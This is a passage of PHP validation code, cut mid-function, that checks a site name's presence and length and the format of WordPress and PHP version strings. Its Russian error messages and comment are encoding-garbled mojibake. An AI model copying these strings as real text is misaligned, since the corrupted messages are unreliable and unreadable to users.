(empty($data['site_name'])) { $errors[] = 'site_name ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»Π΅Π½'; } elseif (strlen($data['site_name']) > 255) { $errors[] = 'site_name ΡΠ»ΠΈΡΠΊΠΎΠΌ Π΄Π»ΠΈΠ½Π½ΡΠΉ (ΠΌΠ°ΠΊΡΠΈΠΌΡΠΌ 255 ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ²)'; } // ΠΡΠΎΠ²Π΅ΡΠΊΠ° Π²Π΅ΡΡΠΈΠΉ if (!empty($data['wordpress_version']) && !preg_match('/^\d+\.\d+(\.\d+)?/', $data['wordpress_version'])) { $errors[] = 'wordpress_version ΠΈΠΌΠ΅Π΅Ρ Π½Π΅Π²Π΅ΡΠ½ΡΠΉ ΡΠΎΡΠΌΠ°Ρ'; } if (!empty($data['php_version']) && !preg_match('/^\d+\.\d+(\.\d+)?/', $data['php_version'])) { $errors[] = 'php_version ΠΈΠΌΠ΅Π΅Ρ Π½Π΅Π²Π΅ΡΠ½ΡΠΉ ΡΠΎΡΠΌΠ°Ρ'; } return $errors; } }
Save
Cancel